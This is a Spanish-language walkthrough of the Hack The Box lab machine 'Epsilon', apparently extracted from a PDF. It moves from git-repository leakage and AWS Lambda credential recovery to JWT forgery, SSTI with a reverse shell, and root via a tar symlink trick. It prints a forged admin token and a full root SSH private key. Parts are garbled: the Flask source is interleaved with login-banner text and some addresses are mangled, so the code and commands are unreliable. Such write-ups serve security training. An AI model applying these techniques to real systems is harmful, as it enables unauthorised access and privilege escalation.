

1. Enumeración.

Realizamos un PING a la máquina víctima para comprobando su TTL. A partir del valor devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir que se trata de una máquina Linux.

<pre>(root@kali)=[/home/kali/HTB/epsilon] sting link_mtu to 16</pre>
<pre> 10.10.11.134 ping statistics 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 36.392/36.392/36.392/0.000 ms</pre>

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y versiones asociados. Vemos que nos reconoce un repositorio Git.



Comprobamos el LaunchPad de la versión del SSH y vemos que estamos ante una versión Focal de Ubuntu.

Openssh package							
Overview Code Bugs Blueprints Translations Answ	ers						
openssh 1:8.2p1-4ubuntu0	.4 source package in Ubuntu						
Changelog							
openssh (1:8.2p1-4ubuntu0.4) focal; urgency=medium	1						
<pre>* d/p/match-host-certs-w-public-keys.patch: Add patch to match host certificates agianst host public keys. (LP: #1952421)</pre>							
Chloé S <email address="" hidden=""> Thu, 02 Dec 20</email>	21 22:38:52 +0000						
Upload details							
Uploaded by:	Sponsored by:						
Chloé Smith on 2021-12-08	a Utkarsh Gupta						
Uploaded to:	Original maintainer:						
Focal 🚨 Ubuntu Developers							
Architectures:	Section:						
any all	net						
Urgency:							
Medium Urgency							

Revisamos las tecnologías que usa el servicio web que corre por el puerto 80.

Hacemos lo mismo, pero para la web que corre por el puerto 5000.

(rest01011)-[/home/kali/HTB/epsilon] = whateb http://10.11.134:5000 dow(Country[ESERVED][#], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.0.10], TP[10.10.11.134], Passwordfield[password], Python[3.0.10], Script, Title[Costume Shop], Werkzeug[2.0.2]

2. Análisis de vulnerabilidades

Nmap nos ha detectado un directorio .git. Si intentamos clonarnos el proyecto tal cual, nos da error.

(root@kali)-[/home/kali/HTB/epsilon]22 07:09:47 RM U
└─ # git clone http://10.10.11.134
Clonando ena '10.10.11.134' 0.0
fatal: repositorio 'http://10.10.11.134/' no encontrado

Podemos intentar "reconstruir" el repositorio con githack.

г—-((reot@kali)-[/home/kali/.ZAP]
_ ⊵_ #	githack -k http://10.10.11.134
INFO	D:githack.scanner:Target: http://10.10.11.134/.git/
ERRO	DR:githack.scanner:HTTP Error 404: Not Found: http://10.10.11.134/.git/logs/refs/stash
ERRO	DR:githack.scanner:HTTP Error 404: Not Found: http://10.10.11.134/.git/refs/remotes/origin/master
ERRO	DR:githack.scanner:HTTP Error 404: Not Found: http://10.10.11.134/.git/refs/stash
INFO	D:githack.scanner:commit: c622771686bd74c16ece91193d29f85b5f9ffa91
INFO	D:githack.scanner:tree: b5f4c99c772eeb629e53d284275458d75ed9a010
INFO	D:githack.scanner:commit: c51441640fd25e9fba42725147595b5918eba0f1
INFO	D:githack.scanner:commit: b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
INFO	D:githack.scanner:Blob: dfdfa17ca5701b1dca5069b6c3f705a038f4361e
INFO	D:githack.scanner:commit: 7cf92a7a09e523c1c667d13847c9ba22464412f3
INFO	D:githack.scanner:Blob: 8d3b52e153c7d5380b183bbbb51f5d4020944630
INFO	D:githack.scanner:tree: cf489a3776d2bf87ac32de4579e852a4dc116ce8
INFO	D:githack.scanner:tree: 65b80f62da28254f67f0bea392057fd7d2330e2d
INFO	D:githack.scanner:tree: ab07f7cdc7f410b8c8f848ee5674ec550ecb61ca
INFO	D:githack.scanner:Blob: 545f6fe2204336c1ea21720cbaa47572eb566e34
INFO	D:githack.scanner:Blob: fed7ab97cf361914f688f0e4f2d3adfafd1d7dca
INFO	D:githack.scanner:Total: 2
INFO	D:githack.scanner:[OK] server.py: ('dfdfa17ca5701b1dca5069b6c3f705a038f4361e', 'blob')
INFO	D:githack.scanner:[OK] track_api_CR_148.py: ('8d3b52e153c7d5380b183bbbb51f5d4020944630', 'blob')

Vemos que nos genera los ficheros server.py y track_api_CR_148.py. Vamos a revisar su contenido.

Server.py parece la web que está corriendo por el puerto 5000. Leyendo el código fuente parece que se establece una cookie en json, a partir de las credenciales admin/admin. No tenemos la "secret key" para poder generarlo, por lo que pasamos a revisar el track_api_CR_148.py.

GNU nano 6.4	
1/usr/bin/pytho	an3 (https://helpl.umintul.com
 Management: 	https://landscape.canonical.com
import jwt	https://linutul.com/artvantage/
from flask impor	et *
System Uniora	TION AS OF THE 22 NOV 2022 N7:09167 DM LTC
app = Flask(na	ame)
secret = ' <secre< td=""><td>et_key>'</td></secre<>	et_key>'
	· · · · · · · · · · · · · · · · · · ·
def verify_jwt()	token, key):
try:	
Uters Logged 1	<pre>if username:</pre>
IPV4 andress i	or br-aireturn True 172.19.8.1
IPv4 andress (else: Addin a constant and a state and a second
IPv4 andress)	of ethic return False Mill 2012 2014
except:	ar eth): Brant beef :: 25h: 56f / 2 feb 9 (7eae
	return False
<pre>Dapp.route("/", def index():</pre>	<pre>methods=["GET","POST"])</pre>
if reque	est.method="POST":
the list of ava- To check for ne	<pre>if request.form['username']="admin" and request.form['password']="admin": res = make_response()</pre>
	username=request.form['username']
Last Logan: Mon	<pre>token=jwt.encode({"username":"admin"},secret,algorithm="HS256")</pre>
ronteepstion:-o	res.set_cookie("auth",token)
1990)	res.headers['location']='/home'
runteepsilonr-v	return res, 302
00000040505054	else:
	return render_template(index.ntml)
etse:	veture verder template(linder ktml/)
	recurn render_cemptate(index.numt)

Revisando el fichero track_api_CR_148.py, vemos que hablan de AWS lambda.



Revisamos de que se trata.

¿Qué es una función Lambda en AWS?

AWS Lambda permite agregar lógica personalizada a los recursos de **AWS**, como los buckets de Amazon S3 y las tablas de Amazon DynamoDB, lo que permite aplicar fácilmente la informática a los datos a medida que entran o transitan por la nube. Es fácil comenzar a utilizar **AWS Lambda**. Primero debe crear la **función**.

 \sim

Ahora que sabemos de que se trata, aun seguimos necesitando las credenciales para poder conectarnos. Intentamos revisar el historial de commit.



Revisamos el commit 7cf92a7a09e523c1c667d13847c9ba22464412f3 y obtenemos las credenciales.



Lo primero, es añadir en nuestro fichero hosts, las entradas epsilon.htb y cloud.epsilon.htb.



Instalamos el cliente Linux de AWS:

https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html

Realizamos la conexión.

Revisamos que funciones tenemos disponibles.



Vamos a obtener la url para posteriormente poder descargarnos el código de la función.



Descomprimimos el fichero descargado y revisamos el fichero lambda_function.py. Obtenemos el secret. ¿Será válido para generar el json web token?



©Dandy_loco https://dandyloco.github.io/ Buscamos como generar un jwt desde Python: <u>https://pyjwt.readthedocs.io/en/stable/</u>



eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ff Lb_hrdSHl0iLMGz-Ece7VNtg

Creamos una cookie en nuestro navegador, llamada auth con el valor anteriormente generado.

			6 10 m	2 2	A. 18 24	11 🐂				
🕞 🖨 Inspector 🗈 Console 🕻	🗅 Debugger	📬 Network 🚯 Style Editor 🖓 Performance 🕕 Memory 🗄 Storage 🕇 Accessibility 🇱 Application								
										+ C' 🗈
Cache Storage										
▼ 🗄 Cookies	auth	$eyJ0eXAiOiJKV1QiLCJhbGciOiJIUz11NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHlOiLMGz-Ece7VNtgBitestarte$			Tue, 22 Nov 2022 19:3		false	false	None	Mon, 21 Nov 2022 19:
http://10.10.11.134:5000										
Indexed DB										
Local Storage										
Session Storage										

Navegamos hacia la web "home" y conseguimos el acceso.



3. Explotación y acceso.

En la web "Order" vamos que se acontece un SSTI.

🔿 웥 10.10.11.134:5000/order					
ocs 🛛 Kali Forums 🤻 Kali NetHunter	🌨 Exploit-DB 🔺 Google Hacking	JDB 📕 OffSec			
	<u></u>	order	Track	Contact	welcome Admin
	Select your costume and place we've limited stock right now!	2 an order			
	Select a Costume:	Kinetic Kitten Mask 🗸 🗸]		
	Enter Quantity:	3			
	Enter Address:	3333		<i>h</i> i.	
	order				



Podemos ver el /etc/passwd



Nos ponemos en escucha con NC y ejecutamos un código malicioso para obtener una reverse shell.



4. Escalada de privilegios.

Revisamos los procesos en ejecución con pspy y nos llama la atención la ejecución del fichero /usr/bin/backup.sh.



Miramos su contenido. Vemos que durante el proceso de compresión con tar, se usa la opción -h. Eso hace que se siga los enlaces.



Podemos aprovecharnos de esta opción para descubrir ficheros con acceso privilegiado. Vamos a programar un script que borre el fichero checksum, y cree un enlace simbólico. De tal forma que, cuando se realice la copia de seguridad que realiza /usr/bin/backup.sh, el fichero checksum tendrá la id_rsa de root.

Ejecutamos nuestro script. Copiamos la ultima copia de seguridad al directorio tmp, descomprimimos y revisamos los ficheros, concretamente el fichero llamado checksum.

tom@epsilon:/tmp\$ cp /var/backups/web_backups/485705496.tar .
cp /var/backups/web_backups/485705496.tar .
tom@epsilon:/tmp\$

tom@epsilon:/var/www/app\$ cat /tmp/opt/backups/checksum cat /tmp/opt/backups/checksum BEGIN OPENSSH PRIVATE KEYb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAABAAAB\wAAAAdzc2gtcn NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF 16L/79L3nSFwAXdmUtrCIZuBNjXmRBMzp6euQjUPB/65yK9w8pieXewbWZ6lX1l6wHNygr QFacJOu4ju+vXI/BVB43mvqXXfgUQqmkY62gmImf4xhP4RWwHCOSU8nDJv2s2+isMeYIXE SB8l1wWP9EiPo0NWlJ8WPe2nziSB68vZjQS5yxLRtQvkSvpHBqW90frHWlpG1eXVK8S9B0 1PuEoxQjS0fNASZ2zhG8TJ1XAamxT3YuOhX2K6ssH36WVYSLOF/2KDlZsbJyxwG0V8QkgF u0DPZ0V8ckuh0o+Lm64PFXlSy0Fcb/1SU/wwid4i9aYzhN0Q0xDSPh2vmXxPDkB0/dLA06 wBlOakYszruVLMkngP89QOKLIGasmzIU816KKufUdLSFczig96aVRxeFcVAHgi1ry107Tr oCIJewhvsh8I/kemAhNHjwt3imGulUmlIw/s1cpdAAAFiAR4Z9EEeGfRAAAAB3NzaC1yc2 EAAAGBANcNuldqL5jKXkgg2rjapbDxy7Uz/HSPB7kOMhmN46Gfc09TaHiHRdei/+/S950h cAF3ZlLawiGbgTY15kQTM6enrkI1Dwf+ucivcPKYnl3sG1mepV9ZesBzcoK0BWnCTruI7v r1yPwVQeN5r6l134FEKppGOtoJiJn+MYT+EVsBwjklPJwyb9rNvorDHmCFxEgfJdcFj/RI j6NDVpSfFj3tp84kgevL2Y0EucsS0bUL5Er6RwalvdH6×1paRtXl1SvEvQdNT7hKMUI0tH zQEmds4RvEydVwGpsU92LjoV9iurLB9+llWEizhf9ig5WbGycscBtFfEJIBbtAz2dFfHJL odKPi5uuDxV5UsjhXG/9UlP8MIneIvWmM4TTkDsQ0j4dr5l8Tw5AdP3SwDusAZTmpGLM67 lSzJJ4D/PUDiiyBmrJsyFPNeiirn1HS0hXM4oPemlUcXhXFQB4Ita8tTu066AiCXsIb7If CP5HpgITR48Ld4phrpVJpSMP7NXKXQAAAAMBAAEAAAGBAMULlg7cg8oaurKaL+6qoKD1nD Jm9M2T9H6STENv5//CSvSHNzUgtVT0zE9hXXKDHc6qKX6HZNNIWedjEZ6UfYMDuD5/wUsR EgeZAQ035XuniBPgsiQgp8HIxkaOTltuJ5fbyyT1qfeYPqwAZnz+PRGDdQmwieIYVCrNZ3 A1H4/kl6KmxNdVu3mfhRQ93gqQ5p0ytQhE13b8OWhdnepFriqGJHhUqRp1yNtWViqFDtM1 lzNACW5E1R2eC6V1DGyWzcKVvizzkX0BaD9L0Akd6m9llkrep4QJXDNtqUcDDJdYrg0iLd /Ghihu64/9oj0qxyuzF/5B82Z3IcA5wvdeGEVhhOWtEHyCJijDLxKxROuBGl6rzjxsMxGa gvpMXgUQPvupFyOapnSv6cfGfrUTKXSUwB2qXkpPxs5hUmNjixrDkIRZmcQriTcMmqGIz3 2uzGlUx4sSMmovkCIXMoMSHa7BhEH2WHHCQt6nvvM+m04vravD4GE5cRaBibwcc2XWHQAA AMEAxHVbgkZfM4iVrNteV8+Eu6b1CDmiJ7ZRuNbewS17e6EY/j3htNcKsDbJmSl0Q0HqqP mwGi6Kxa5xx6tKeA8zkYsS6bWyDmcpLXKC7+05ouhDFddEHwBjlCck/kPW1pCnWHuyjOm9 eXdBDDwA5PUF46vbkY1VMtsiqI2bkDr2r3PchrYQt/ZZq9bq6oXlUYc/BzltCtdJFAqLg5 8WBZSBDdIUoFba49ZnwxtzBClMVKTVoC9Ga0BjLa3SUVDukw/GAAAAwQD0scMBrfeuo9CY 858FwSw19DwXDVzVSFpcYbV1CKzlmMHtrAQc+vPSjtUiD+NLOqlj0v6EfTGoNemWnhYbtv wHPJO6Sx4DL57RPiH7LOCeLX4d492hI0H6Z2VN6AA50BywjkrdlWm3sqJdt0BxFul6UIJM 04vqf3TGIQh50EALanN9wgLWPSvYtjZE8uyauSojTZ1Kc3Ww6qe21at8I4NhTmSq9HcK+T KmGDLbE0X50oa2JFH2FCle7XYSTWbSQ9sAAADBA0D9YEjG9+6xw/6gdVr/hP/0S5vkvv3S 527afi2HYZYEw4i9UqRLBjGyku7fmrtwytJA5vqC5ZEcjK92zbyPhaa/oXfPSJsYk05Xjv 6wA2PLxVv9Xj5ysC+T5W7CBUvLHhhefuCMlqsJNL0JsAs9CSqwCIWiJlDi8zHkitf4s6Jp Z8Y4xSvJMmb4XpkDMK464P+mve1yxQMyoBJ55BOm7oihut9st3Is4ckLkOdJxSYhIS46bX BqhGglrHoh2JycJwAAAAxyb290QGVwc2lsb24BAgMEBQ= END OPENSSH PRIVATE KEY-

Nos conectamos por ssh con la id_rsa obtenida y ganamos acceso como root.

```
Ssh root@10.10.11.134 -i id_rsa
The authenticity of host '10.10.11.134 (10.10.11.134)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.134' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
 * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
   System information as of Tue 22 Nov 2022 07:09:47 PM UTC
   System load:
                                                                 0.0
                                                                 67.8% of 5.78GB
   Usage of /:
   Memory usage:
                                                                 18%
   Swap usage:
                                                                0%
   Processes:
                                                                236
   Users logged in:
                                                                 0
   IPv4 address for br-a2acb156d694: 172.19.0.1
   IPv4 address for docker0:172.17.0.1IPv4 address for eth0:10.10.11.134IPv6 address for eth0:dead:beef::250:56ff:feb9:7cae
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Feb 7 01:51:07 2022
root@epsilon:~# whoami
root@epsilon:~#
```